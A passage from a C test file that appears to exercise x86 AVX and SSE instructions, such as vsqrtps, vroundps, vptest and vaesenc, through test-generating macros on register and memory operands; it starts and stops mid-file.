"vpblendw $0x29, %%xmm6, %%xmm8, %%xmm7",
"vpblendw $0x92, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMOVUPS_EtoG_256,
"vmovups %%ymm6, %%ymm9",
"vmovups (%%rax), %%ymm7")
GEN_test_RandM(VSQRTSS_128,
"vsqrtss %%xmm6, %%xmm8, %%xmm7",
"vsqrtss (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VSQRTPS_128,
"vsqrtps %%xmm6, %%xmm8",
"vsqrtps (%%rax), %%xmm8")
GEN_test_RandM(VSQRTPS_256,
"vsqrtps %%ymm6, %%ymm8",
"vsqrtps (%%rax), %%ymm8")
GEN_test_RandM(VSQRTPD_128,
"vsqrtpd %%xmm6, %%xmm8",
"vsqrtpd (%%rax), %%xmm8")
GEN_test_RandM(VSQRTPD_256,
"vsqrtpd %%ymm6, %%ymm8",
"vsqrtpd (%%rax), %%ymm8")
GEN_test_RandM(VRSQRTSS_128,
"vrsqrtss %%xmm6, %%xmm8, %%xmm7",
"vrsqrtss (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VRSQRTPS_128,
"vrsqrtps %%xmm6, %%xmm8",
"vrsqrtps (%%rax), %%xmm8")
GEN_test_RandM(VRSQRTPS_256,
"vrsqrtps %%ymm6, %%ymm8",
"vrsqrtps (%%rax), %%ymm8")
GEN_test_RandM(VMOVDQU_GtoE_256,
"vmovdqu %%ymm9, %%ymm6",
"vmovdqu %%ymm7, (%%rax)")
GEN_test_RandM(VCVTPS2PD_256,
"vcvtps2pd %%xmm9, %%ymm6",
"vcvtps2pd (%%rax), %%ymm7")
GEN_test_RandM(VCVTTPS2DQ_128,
"vcvttps2dq %%xmm9, %%xmm6",
"vcvttps2dq (%%rax), %%xmm7")
GEN_test_RandM(VCVTTPS2DQ_256,
"vcvttps2dq %%ymm9, %%ymm6",
"vcvttps2dq (%%rax), %%ymm7")
GEN_test_RandM(VCVTDQ2PS_128,
"vcvtdq2ps %%xmm9, %%xmm6",
"vcvtdq2ps (%%rax), %%xmm7")
GEN_test_RandM(VCVTDQ2PS_256,
"vcvtdq2ps %%ymm9, %%ymm6",
"vcvtdq2ps (%%rax), %%ymm7")
GEN_test_RandM(VCVTTPD2DQ_128,
"vcvttpd2dqx %%xmm9, %%xmm6",
"vcvttpd2dqx (%%rax), %%xmm7")
GEN_test_RandM(VCVTTPD2DQ_256,
"vcvttpd2dqy %%ymm9, %%xmm6",
"vcvttpd2dqy (%%rax), %%xmm7")
GEN_test_RandM(VCVTPD2DQ_128,
"vcvtpd2dqx %%xmm9, %%xmm6",
"vcvtpd2dqx (%%rax), %%xmm7")
GEN_test_RandM(VCVTPD2DQ_256,
"vcvtpd2dqy %%ymm9, %%xmm6",
"vcvtpd2dqy (%%rax), %%xmm7")
GEN_test_RandM(VMOVSLDUP_128,
"vmovsldup %%xmm9, %%xmm6",
"vmovsldup (%%rax), %%xmm7")
GEN_test_RandM(VMOVSLDUP_256,
"vmovsldup %%ymm9, %%ymm6",
"vmovsldup (%%rax), %%ymm7")
GEN_test_RandM(VMOVSHDUP_128,
"vmovshdup %%xmm9, %%xmm6",
"vmovshdup (%%rax), %%xmm7")
GEN_test_RandM(VMOVSHDUP_256,
"vmovshdup %%ymm9, %%ymm6",
"vmovshdup (%%rax), %%ymm7")
GEN_test_RandM(VPERMILPS_VAR_128,
"vpermilps %%xmm6, %%xmm8, %%xmm7",
"vpermilps (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPERMILPD_VAR_128,
"vpermilpd %%xmm6, %%xmm8, %%xmm7",
"vpermilpd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPERMILPS_VAR_256,
"vpermilps %%ymm6, %%ymm8, %%ymm7",
"vpermilps (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VPERMILPD_VAR_256,
"vpermilpd %%ymm6, %%ymm8, %%ymm7",
"vpermilpd (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VPSLLW_128,
"andl $15, %%r14d;"
"vmovd %%r14d, %%xmm6;"
"vpsllw %%xmm6, %%xmm8, %%xmm9",
"andq $15, 128(%%rax);"
"vpsllw 128(%%rax), %%xmm8, %%xmm9")
GEN_test_RandM(VPSRLW_128,
"andl $15, %%r14d;"
"vmovd %%r14d, %%xmm6;"
"vpsrlw %%xmm6, %%xmm8, %%xmm9",
"andq $15, 128(%%rax);"
"vpsrlw 128(%%rax), %%xmm8, %%xmm9")
GEN_test_RandM(VPSRAW_128,
"andl $31, %%r14d;"
"vmovd %%r14d, %%xmm6;"
"vpsraw %%xmm6, %%xmm8, %%xmm9",
"andq $15, 128(%%rax);"
"vpsraw 128(%%rax), %%xmm8, %%xmm9")
GEN_test_RandM(VPSLLD_128,
"andl $31, %%r14d;"
"vmovd %%r14d, %%xmm6;"
"vpslld %%xmm6, %%xmm8, %%xmm9",
"andq $31, 128(%%rax);"
"vpslld 128(%%rax), %%xmm8, %%xmm9")
GEN_test_RandM(VPSRLD_128,
"andl $31, %%r14d;"
"vmovd %%r14d, %%xmm6;"
"vpsrld %%xmm6, %%xmm8, %%xmm9",
"andq $31, 128(%%rax);"
"vpsrld 128(%%rax), %%xmm8, %%xmm9")
GEN_test_RandM(VPSRAD_128,
"andl $31, %%r14d;"
"vmovd %%r14d, %%xmm6;"
"vpsrad %%xmm6, %%xmm8, %%xmm9",
"andq $31, 128(%%rax);"
"vpsrad 128(%%rax), %%xmm8, %%xmm9")
GEN_test_RandM(VPSLLQ_128,
"andl $63, %%r14d;"
"vmovd %%r14d, %%xmm6;"
"vpsllq %%xmm6, %%xmm8, %%xmm9",
"andq $63, 128(%%rax);"
"vpsllq 128(%%rax), %%xmm8, %%xmm9")
GEN_test_RandM(VPSRLQ_128,
"andl $63, %%r14d;"
"vmovd %%r14d, %%xmm6;"
"vpsrlq %%xmm6, %%xmm8, %%xmm9",
"andq $63, 128(%%rax);"
"vpsrlq 128(%%rax), %%xmm8, %%xmm9")
GEN_test_RandM(VROUNDPS_128_0x0,
"vroundps $0x0, %%xmm8, %%xmm9",
"vroundps $0x0, (%%rax), %%xmm9")
GEN_test_RandM(VROUNDPS_128_0x1,
"vroundps $0x1, %%xmm8, %%xmm9",
"vroundps $0x1, (%%rax), %%xmm9")
GEN_test_RandM(VROUNDPS_128_0x2,
"vroundps $0x2, %%xmm8, %%xmm9",
"vroundps $0x2, (%%rax), %%xmm9")
GEN_test_RandM(VROUNDPS_128_0x3,
"vroundps $0x3, %%xmm8, %%xmm9",
"vroundps $0x3, (%%rax), %%xmm9")
GEN_test_RandM(VROUNDPS_128_0x4,
"vroundps $0x4, %%xmm8, %%xmm9",
"vroundps $0x4, (%%rax), %%xmm9")
GEN_test_RandM(VROUNDPS_256_0x0,
"vroundps $0x0, %%ymm8, %%ymm9",
"vroundps $0x0, (%%rax), %%ymm9")
GEN_test_RandM(VROUNDPS_256_0x1,
"vroundps $0x1, %%ymm8, %%ymm9",
"vroundps $0x1, (%%rax), %%ymm9")
GEN_test_RandM(VROUNDPS_256_0x2,
"vroundps $0x2, %%ymm8, %%ymm9",
"vroundps $0x2, (%%rax), %%ymm9")
GEN_test_RandM(VROUNDPS_256_0x3,
"vroundps $0x3, %%ymm8, %%ymm9",
"vroundps $0x3, (%%rax), %%ymm9")
GEN_test_RandM(VROUNDPS_256_0x4,
"vroundps $0x4, %%ymm8, %%ymm9",
"vroundps $0x4, (%%rax), %%ymm9")
GEN_test_RandM(VROUNDPD_128_0x0,
"vroundpd $0x0, %%xmm8, %%xmm9",
"vroundpd $0x0, (%%rax), %%xmm9")
GEN_test_RandM(VROUNDPD_128_0x1,
"vroundpd $0x1, %%xmm8, %%xmm9",
"vroundpd $0x1, (%%rax), %%xmm9")
GEN_test_RandM(VROUNDPD_128_0x2,
"vroundpd $0x2, %%xmm8, %%xmm9",
"vroundpd $0x2, (%%rax), %%xmm9")
GEN_test_RandM(VROUNDPD_128_0x3,
"vroundpd $0x3, %%xmm8, %%xmm9",
"vroundpd $0x3, (%%rax), %%xmm9")
GEN_test_RandM(VROUNDPD_128_0x4,
"vroundpd $0x4, %%xmm8, %%xmm9",
"vroundpd $0x4, (%%rax), %%xmm9")
GEN_test_RandM(VROUNDPD_256_0x0,
"vroundpd $0x0, %%ymm8, %%ymm9",
"vroundpd $0x0, (%%rax), %%ymm9")
GEN_test_RandM(VROUNDPD_256_0x1,
"vroundpd $0x1, %%ymm8, %%ymm9",
"vroundpd $0x1, (%%rax), %%ymm9")
GEN_test_RandM(VROUNDPD_256_0x2,
"vroundpd $0x2, %%ymm8, %%ymm9",
"vroundpd $0x2, (%%rax), %%ymm9")
GEN_test_RandM(VROUNDPD_256_0x3,
"vroundpd $0x3, %%ymm8, %%ymm9",
"vroundpd $0x3, (%%rax), %%ymm9")
GEN_test_RandM(VROUNDPD_256_0x4,
"vroundpd $0x4, %%ymm8, %%ymm9",
"vroundpd $0x4, (%%rax), %%ymm9")
GEN_test_RandM(VPMADDWD_128,
"vpmaddwd %%xmm6, %%xmm8, %%xmm7",
"vpmaddwd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VADDSUBPS_128,
"vaddsubps %%xmm6, %%xmm8, %%xmm7",
"vaddsubps (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VADDSUBPS_256,
"vaddsubps %%ymm6, %%ymm8, %%ymm7",
"vaddsubps (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VADDSUBPD_128,
"vaddsubpd %%xmm6, %%xmm8, %%xmm7",
"vaddsubpd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VADDSUBPD_256,
"vaddsubpd %%ymm6, %%ymm8, %%ymm7",
"vaddsubpd (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VROUNDSS_0x0,
"vroundss $0x0, %%xmm8, %%xmm6, %%xmm9",
"vroundss $0x0, (%%rax), %%xmm6, %%xmm9")
GEN_test_RandM(VROUNDSS_0x1,
"vroundss $0x1, %%xmm8, %%xmm6, %%xmm9",
"vroundss $0x1, (%%rax), %%xmm6, %%xmm9")
GEN_test_RandM(VROUNDSS_0x2,
"vroundss $0x2, %%xmm8, %%xmm6, %%xmm9",
"vroundss $0x2, (%%rax), %%xmm6, %%xmm9")
GEN_test_RandM(VROUNDSS_0x3,
"vroundss $0x3, %%xmm8, %%xmm6, %%xmm9",
"vroundss $0x3, (%%rax), %%xmm6, %%xmm9")
GEN_test_RandM(VROUNDSS_0x4,
"vroundss $0x4, %%xmm8, %%xmm6, %%xmm9",
"vroundss $0x4, (%%rax), %%xmm6, %%xmm9")
GEN_test_RandM(VROUNDSS_0x5,
"vroundss $0x5, %%xmm8, %%xmm6, %%xmm9",
"vroundss $0x5, (%%rax), %%xmm6, %%xmm9")
GEN_test_RandM(VROUNDSD_0x0,
"vroundsd $0x0, %%xmm8, %%xmm6, %%xmm9",
"vroundsd $0x0, (%%rax), %%xmm6, %%xmm9")
GEN_test_RandM(VROUNDSD_0x1,
"vroundsd $0x1, %%xmm8, %%xmm6, %%xmm9",
"vroundsd $0x1, (%%rax), %%xmm6, %%xmm9")
GEN_test_RandM(VROUNDSD_0x2,
"vroundsd $0x2, %%xmm8, %%xmm6, %%xmm9",
"vroundsd $0x2, (%%rax), %%xmm6, %%xmm9")
GEN_test_RandM(VROUNDSD_0x3,
"vroundsd $0x3, %%xmm8, %%xmm6, %%xmm9",
"vroundsd $0x3, (%%rax), %%xmm6, %%xmm9")
GEN_test_RandM(VROUNDSD_0x4,
"vroundsd $0x4, %%xmm8, %%xmm6, %%xmm9",
"vroundsd $0x4, (%%rax), %%xmm6, %%xmm9")
GEN_test_RandM(VROUNDSD_0x5,
"vroundsd $0x5, %%xmm8, %%xmm6, %%xmm9",
"vroundsd $0x5, (%%rax), %%xmm6, %%xmm9")
GEN_test_RandM(VPTEST_128_1,
"vptest %%xmm6, %%xmm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14",
"vptest (%%rax), %%xmm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14")
/* Here we ignore the boilerplate-supplied data and try to do
x AND x and x AND NOT x. Not a great test but better
than nothing. */
GEN_test_RandM(VPTEST_128_2,
"vmovups %%xmm6, %%xmm8;"
"vptest %%xmm6, %%xmm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14",
"vmovups (%%rax), %%xmm8;"
"vcmpeqpd %%xmm8,%%xmm8,%%xmm7;"
"vxorpd %%xmm8,%%xmm7,%%xmm8;"
"vptest (%%rax), %%xmm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14")
GEN_test_RandM(VPTEST_256_1,
"vptest %%ymm6, %%ymm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14",
"vptest (%%rax), %%ymm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14")
/* Here we ignore the boilerplate-supplied data and try to do
x AND x and x AND NOT x. Not a great test but better
than nothing. */
GEN_test_RandM(VPTEST_256_2,
"vmovups %%ymm6, %%ymm8;"
"vptest %%ymm6, %%ymm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14",
"vmovups (%%rax), %%ymm8;"
"vcmpeqpd %%xmm8,%%xmm8,%%xmm7;"
"subq $1024, %%rsp;"
"vmovups %%xmm7,512(%%rsp);"
"vmovups %%xmm7,528(%%rsp);"
"vmovups 512(%%rsp), %%ymm7;"
"addq $1024, %%rsp;"
"vxorpd %%ymm8,%%ymm7,%%ymm8;"
"vptest (%%rax), %%ymm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14")
/* VTESTPS/VTESTPD: test once with all-0 operands, once with
one all-0s and one all 1s, and once with random data. */
GEN_test_RandM(VTESTPS_128_1,
"vtestps %%xmm6, %%xmm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14",
"vtestps (%%rax), %%xmm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14")
/* Here we ignore the boilerplate-supplied data and try to do
x AND x and x AND NOT x. Not a great test but better
than nothing. */
GEN_test_RandM(VTESTPS_128_2,
"vmovups %%xmm6, %%xmm8;"
"vtestps %%xmm6, %%xmm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14",
"vmovups (%%rax), %%xmm8;"
"vcmpeqpd %%xmm8,%%xmm8,%%xmm7;"
"vxorpd %%xmm8,%%xmm7,%%xmm8;"
"vtestps (%%rax), %%xmm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14")
GEN_test_RandM(VTESTPS_128_3,
"vtestps %%xmm8, %%xmm9; "
"pushfq; popq %%r14; andq $0x8D5, %%r14",
"vtestps (%%rax), %%xmm9; "
"pushfq; popq %%r14; andq $0x8D5, %%r14")
GEN_test_RandM(VTESTPS_256_1,
"vtestps %%ymm6, %%ymm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14",
"vtestps (%%rax), %%ymm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14")
/* Here we ignore the boilerplate-supplied data and try to do
x AND x and x AND NOT x. Not a great test but better
than nothing. */
GEN_test_RandM(VTESTPS_256_2,
"vmovups %%ymm6, %%ymm8;"
"vtestps %%ymm6, %%ymm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14",
"vmovups (%%rax), %%ymm8;"
"vcmpeqpd %%xmm8,%%xmm8,%%xmm7;"
"subq $1024, %%rsp;"
"vmovups %%xmm7,512(%%rsp);"
"vmovups %%xmm7,528(%%rsp);"
"vmovups 512(%%rsp), %%ymm7;"
"addq $1024, %%rsp;"
"vxorpd %%ymm8,%%ymm7,%%ymm8;"
"vtestps (%%rax), %%ymm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14")
GEN_test_RandM(VTESTPS_256_3,
"vtestps %%ymm8, %%ymm9; "
"pushfq; popq %%r14; andq $0x8D5, %%r14",
"vtestps (%%rax), %%ymm9; "
"pushfq; popq %%r14; andq $0x8D5, %%r14")
GEN_test_RandM(VTESTPD_128_1,
"vtestpd %%xmm6, %%xmm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14",
"vtestpd (%%rax), %%xmm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14")
/* Here we ignore the boilerplate-supplied data and try to do
x AND x and x AND NOT x. Not a great test but better
than nothing. */
GEN_test_RandM(VTESTPD_128_2,
"vmovups %%xmm6, %%xmm8;"
"vtestpd %%xmm6, %%xmm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14",
"vmovups (%%rax), %%xmm8;"
"vcmpeqpd %%xmm8,%%xmm8,%%xmm7;"
"vxorpd %%xmm8,%%xmm7,%%xmm8;"
"vtestpd (%%rax), %%xmm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14")
GEN_test_RandM(VTESTPD_128_3,
"vtestpd %%xmm8, %%xmm9; "
"pushfq; popq %%r14; andq $0x8D5, %%r14",
"vtestpd (%%rax), %%xmm9; "
"pushfq; popq %%r14; andq $0x8D5, %%r14")
GEN_test_RandM(VTESTPD_256_1,
"vtestpd %%ymm6, %%ymm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14",
"vtestpd (%%rax), %%ymm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14")
/* Here we ignore the boilerplate-supplied data and try to do
x AND x and x AND NOT x. Not a great test but better
than nothing. */
GEN_test_RandM(VTESTPD_256_2,
"vmovups %%ymm6, %%ymm8;"
"vtestpd %%ymm6, %%ymm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14",
"vmovups (%%rax), %%ymm8;"
"vcmpeqpd %%xmm8,%%xmm8,%%xmm7;"
"subq $1024, %%rsp;"
"vmovups %%xmm7,512(%%rsp);"
"vmovups %%xmm7,528(%%rsp);"
"vmovups 512(%%rsp), %%ymm7;"
"addq $1024, %%rsp;"
"vxorpd %%ymm8,%%ymm7,%%ymm8;"
"vtestpd (%%rax), %%ymm8; "
"pushfq; popq %%r14; andq $0x8D5, %%r14")
GEN_test_RandM(VTESTPD_256_3,
"vtestpd %%ymm8, %%ymm9; "
"pushfq; popq %%r14; andq $0x8D5, %%r14",
"vtestpd (%%rax), %%ymm9; "
"pushfq; popq %%r14; andq $0x8D5, %%r14")
GEN_test_RandM(VBLENDVPS_128,
"vblendvps %%xmm9, %%xmm6, %%xmm8, %%xmm7",
"vblendvps %%xmm9, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VBLENDVPS_256,
"vblendvps %%ymm9, %%ymm6, %%ymm8, %%ymm7",
"vblendvps %%ymm9, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VBLENDVPD_128,
"vblendvpd %%xmm9, %%xmm6, %%xmm8, %%xmm7",
"vblendvpd %%xmm9, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VBLENDVPD_256,
"vblendvpd %%ymm9, %%ymm6, %%ymm8, %%ymm7",
"vblendvpd %%ymm9, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VHADDPS_128,
"vhaddps %%xmm6, %%xmm8, %%xmm7",
"vhaddps (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VHADDPS_256,
"vhaddps %%ymm6, %%ymm8, %%ymm7",
"vhaddps (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VHADDPD_128,
"vhaddpd %%xmm6, %%xmm8, %%xmm7",
"vhaddpd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VHADDPD_256,
"vhaddpd %%ymm6, %%ymm8, %%ymm7",
"vhaddpd (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VHSUBPS_128,
"vhsubps %%xmm6, %%xmm8, %%xmm7",
"vhsubps (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VHSUBPS_256,
"vhsubps %%ymm6, %%ymm8, %%ymm7",
"vhsubps (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VHSUBPD_128,
"vhsubpd %%xmm6, %%xmm8, %%xmm7",
"vhsubpd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VHSUBPD_256,
"vhsubpd %%ymm6, %%ymm8, %%ymm7",
"vhsubpd (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VEXTRACTPS_0x0,
"vextractps $0, %%xmm8, %%r14d",
"vextractps $0, %%xmm8, (%%rax)")
GEN_test_RandM(VEXTRACTPS_0x1,
"vextractps $1, %%xmm8, %%r14d",
"vextractps $1, %%xmm8, (%%rax)")
GEN_test_RandM(VEXTRACTPS_0x2,
"vextractps $2, %%xmm8, %%r14d",
"vextractps $2, %%xmm8, (%%rax)")
GEN_test_RandM(VEXTRACTPS_0x3,
"vextractps $3, %%xmm8, %%r14d",
"vextractps $3, %%xmm8, (%%rax)")
GEN_test_Monly(VLDDQU_128,
"vlddqu 1(%%rax), %%xmm8")
GEN_test_Monly(VLDDQU_256,
"vlddqu 1(%%rax), %%ymm8")
GEN_test_Monly(VMOVNTDQA_128,
"vmovntdqa (%%rax), %%xmm9")
GEN_test_Monly(VMASKMOVDQU_128,
"xchgq %%rax, %%rdi;"
"vmaskmovdqu %%xmm8, %%xmm9;"
"xchgq %%rax, %%rdi")
GEN_test_Ronly(VMOVMSKPD_128,
"vmovmskpd %%xmm9, %%r14d")
GEN_test_Ronly(VMOVMSKPD_256,
"vmovmskpd %%ymm9, %%r14d")
GEN_test_Ronly(VMOVMSKPS_128,
"vmovmskps %%xmm9, %%r14d")
GEN_test_Ronly(VMOVMSKPS_256,
"vmovmskps %%ymm9, %%r14d")
GEN_test_Monly(VMOVNTPD_128,
"vmovntpd %%xmm9, (%%rax)")
GEN_test_Monly(VMOVNTPD_256,
"vmovntpd %%ymm9, (%%rax)")
GEN_test_Monly(VMOVNTPS_128,
"vmovntps %%xmm9, (%%rax)")
GEN_test_Monly(VMOVNTPS_256,
"vmovntps %%ymm9, (%%rax)")
GEN_test_RandM(VPACKSSWB_128,
"vpacksswb %%xmm6, %%xmm8, %%xmm7",
"vpacksswb (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPAVGB_128,
"vpavgb %%xmm6, %%xmm8, %%xmm7",
"vpavgb (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPAVGW_128,
"vpavgw %%xmm6, %%xmm8, %%xmm7",
"vpavgw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPADDSB_128,
"vpaddsb %%xmm6, %%xmm8, %%xmm7",
"vpaddsb (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPADDSW_128,
"vpaddsw %%xmm6, %%xmm8, %%xmm7",
"vpaddsw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPHADDW_128,
"vphaddw %%xmm6, %%xmm8, %%xmm7",
"vphaddw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPHADDD_128,
"vphaddd %%xmm6, %%xmm8, %%xmm7",
"vphaddd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPHADDSW_128,
"vphaddsw %%xmm6, %%xmm8, %%xmm7",
"vphaddsw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPMADDUBSW_128,
"vpmaddubsw %%xmm6, %%xmm8, %%xmm7",
"vpmaddubsw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPHSUBW_128,
"vphsubw %%xmm6, %%xmm8, %%xmm7",
"vphsubw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPHSUBD_128,
"vphsubd %%xmm6, %%xmm8, %%xmm7",
"vphsubd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPHSUBSW_128,
"vphsubsw %%xmm6, %%xmm8, %%xmm7",
"vphsubsw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPABSB_128,
"vpabsb %%xmm6, %%xmm7",
"vpabsb (%%rax), %%xmm7")
GEN_test_RandM(VPABSW_128,
"vpabsw %%xmm6, %%xmm7",
"vpabsw (%%rax), %%xmm7")
GEN_test_RandM(VPMOVSXBQ_128,
"vpmovsxbq %%xmm6, %%xmm8",
"vpmovsxbq (%%rax), %%xmm8")
GEN_test_RandM(VPMOVSXWQ_128,
"vpmovsxwq %%xmm6, %%xmm8",
"vpmovsxwq (%%rax), %%xmm8")
GEN_test_RandM(VPACKUSDW_128,
"vpackusdw %%xmm6, %%xmm8, %%xmm7",
"vpackusdw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPMOVZXBQ_128,
"vpmovzxbq %%xmm6, %%xmm8",
"vpmovzxbq (%%rax), %%xmm8")
GEN_test_RandM(VPMOVZXWQ_128,
"vpmovzxwq %%xmm6, %%xmm8",
"vpmovzxwq (%%rax), %%xmm8")
GEN_test_RandM(VPMOVZXDQ_128,
"vpmovzxdq %%xmm6, %%xmm8",
"vpmovzxdq (%%rax), %%xmm8")
GEN_test_RandM(VMPSADBW_128_0x0,
"vmpsadbw $0, %%xmm6, %%xmm8, %%xmm7",
"vmpsadbw $0, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMPSADBW_128_0x1,
"vmpsadbw $1, %%xmm6, %%xmm8, %%xmm7",
"vmpsadbw $1, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMPSADBW_128_0x2,
"vmpsadbw $2, %%xmm6, %%xmm8, %%xmm7",
"vmpsadbw $2, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMPSADBW_128_0x3,
"vmpsadbw $3, %%xmm6, %%xmm8, %%xmm7",
"vmpsadbw $3, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMPSADBW_128_0x4,
"vmpsadbw $4, %%xmm6, %%xmm8, %%xmm7",
"vmpsadbw $4, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMPSADBW_128_0x5,
"vmpsadbw $5, %%xmm6, %%xmm8, %%xmm7",
"vmpsadbw $5, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMPSADBW_128_0x6,
"vmpsadbw $6, %%xmm6, %%xmm8, %%xmm7",
"vmpsadbw $6, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMPSADBW_128_0x7,
"vmpsadbw $7, %%xmm6, %%xmm8, %%xmm7",
"vmpsadbw $7, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMOVDDUP_YMMorMEM256_to_YMM,
"vmovddup %%ymm8, %%ymm7",
"vmovddup (%%rax), %%ymm9")
GEN_test_Monly(VMOVLPS_128_M64_XMM_XMM, "vmovlps (%%rax), %%xmm8, %%xmm7")
GEN_test_Monly(VMOVLPS_128_XMM_M64, "vmovlps %%xmm7, (%%rax)")
GEN_test_RandM(VRCPSS_128,
"vrcpss %%xmm6, %%xmm8, %%xmm7",
"vrcpss (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VRCPPS_128,
"vrcpps %%xmm6, %%xmm8",
"vrcpps (%%rax), %%xmm8")
GEN_test_RandM(VRCPPS_256,
"vrcpps %%ymm6, %%ymm8",
"vrcpps (%%rax), %%ymm8")
GEN_test_RandM(VPSADBW_128,
"vpsadbw %%xmm6, %%xmm8, %%xmm7",
"vpsadbw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPSIGNB_128,
"vpsignb %%xmm6, %%xmm8, %%xmm7",
"vpsignb (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPSIGNW_128,
"vpsignw %%xmm6, %%xmm8, %%xmm7",
"vpsignw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPSIGND_128,
"vpsignd %%xmm6, %%xmm8, %%xmm7",
"vpsignd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPMULHRSW_128,
"vpmulhrsw %%xmm6, %%xmm8, %%xmm7",
"vpmulhrsw (%%rax), %%xmm8, %%xmm7")
GEN_test_Monly(VBROADCASTF128,
"vbroadcastf128 (%%rax), %%ymm9")
GEN_test_RandM(VPEXTRW_128_0x0,
"vpextrw $0x0, %%xmm7, %%r14d",
"vpextrw $0x0, %%xmm7, (%%rax)")
GEN_test_RandM(VPEXTRW_128_0x1,
"vpextrw $0x1, %%xmm7, %%r14d",
"vpextrw $0x1, %%xmm7, (%%rax)")
GEN_test_RandM(VPEXTRW_128_0x2,
"vpextrw $0x2, %%xmm7, %%r14d",
"vpextrw $0x2, %%xmm7, (%%rax)")
GEN_test_RandM(VPEXTRW_128_0x3,
"vpextrw $0x3, %%xmm7, %%r14d",
"vpextrw $0x3, %%xmm7, (%%rax)")
GEN_test_RandM(VPEXTRW_128_0x4,
"vpextrw $0x4, %%xmm7, %%r14d",
"vpextrw $0x4, %%xmm7, (%%rax)")
GEN_test_RandM(VPEXTRW_128_0x5,
"vpextrw $0x5, %%xmm7, %%r14d",
"vpextrw $0x5, %%xmm7, (%%rax)")
GEN_test_RandM(VPEXTRW_128_0x6,
"vpextrw $0x6, %%xmm7, %%r14d",
"vpextrw $0x6, %%xmm7, (%%rax)")
GEN_test_RandM(VPEXTRW_128_0x7,
"vpextrw $0x7, %%xmm7, %%r14d",
"vpextrw $0x7, %%xmm7, (%%rax)")
GEN_test_RandM(VAESENC,
"vaesenc %%xmm6, %%xmm8, %%xmm7",
"vaesenc (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VAESENCLAST,
"vaesenclast %%xmm6, %%xmm8, %%xmm7",
"vaesenclast (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VAESDEC,
"vaesdec %%xmm6, %%xmm8, %%xmm7",
"vaesdec (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VAESDECLAST,
"vaesdeclast %%xmm6, %%xmm8, %%xmm7",
"vaesdeclast (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VAESIMC,
"vaesimc %%xmm6, %%xmm7",
"vaesimc (%%rax), %%xmm7")
GEN_test_RandM(VAESKEYGENASSIST_0x00,
